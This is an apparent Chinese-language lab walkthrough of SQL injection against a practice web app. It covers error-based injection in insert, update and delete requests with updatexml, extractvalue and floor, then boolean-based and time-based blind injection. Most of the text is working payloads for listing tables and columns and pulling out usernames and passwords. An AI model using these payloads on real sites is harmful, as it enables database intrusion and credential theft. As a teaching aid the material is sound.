一、基于insert update delete
得到同上的页面 存在insert漏洞
点击注册
现在用户名输入 单引号 ’
得到返回
用户名用单引号 密码随便填写 得到返回报错
得知后台是使用insert
后台相关操作如下:
采用or来构造闭合
使用updatexml来进行操作:
insert into member(username,pw,sex,phonenum,email,address) values(‘1’ or updatexml(1,concat(0x7e,database()),0) or ’ ‘ ,111111,1,2,3,4);
以上是在数据库中的演示
现在返回到注册界面
用户名填写
1’ or updatexml(1,concat(0x7e,database()),0) or ’
密码随便
可以得到database的值:
想要获取其他数据 只需更改database()的部分就可以了
update只需登陆之后 在更改用户信息那里填写:
1’ or updatexml(1,concat(0x7e,database()),0) or ’
二、delete注入
先随意添加两条留言 然后打开bp
随后删除一条留言
将其转移到repeater中
之后修改id 构造闭合
后台情况:
逻辑与之前一样:
可以通过自带的工具转换为url的格式
得到:
得到报错信息:
三、extractvalue()报错函数
floor()函数是取整函数 但原理基本相同
四、基于boolean的盲注
第一步 测试
payload:’ and 1=1#(页面不变) | ’ and 1=2#(页面变化)
说明存在sql漏洞.
第二步 盲注
爆表:payload:’ and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0#
爆字段:payload:’ and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0#
爆数据: payload:’ and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0#
然后一点一点猜。
基于时间的盲注
第一步:同上
第二步 盲注、
爆表:payload:’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0,sleep(5),1)#
爆字段:payload:’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0,sleep(5),1)#
爆数据:payload:’ and if(ascii(substr((select username,password from xxxx limit 0,1),1,1))>0,sleep(5),1)#